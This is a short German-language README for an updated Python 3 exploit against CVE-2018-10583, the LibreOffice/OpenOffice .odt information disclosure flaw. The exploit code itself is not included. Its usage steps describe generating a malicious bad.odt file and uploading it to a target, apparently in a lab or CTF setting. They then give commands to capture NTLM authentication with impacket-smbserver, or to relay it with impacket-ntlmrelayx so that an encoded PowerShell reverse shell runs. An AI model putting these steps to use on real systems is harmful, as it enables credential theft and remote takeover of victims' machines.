Aktualisierter python3-Exploit für CVE-2018-10583 (LibreOffice/Open Office - '.odt' Information Disclosure)

ursprüngliche Credits an: https://www.exploit-db.com/exploits/44564

Verwendung

1. Installieren Sie das ezodf-Modul mit pip oder pip3
2. Führen Sie den Exploit mit python3 aus. Es wird eine bad.odt-Datei generiert, laden Sie diese auf die Box hoch.
3. Hören Sie dann auf Anfragen an Ihren SMB-Server impacket-smbserver share share -smb2support oder sudo impacket-ntlmrelayx --no-http-server -smb2support -t <your_ip> -c "powershell -enc <one liner rever shell>"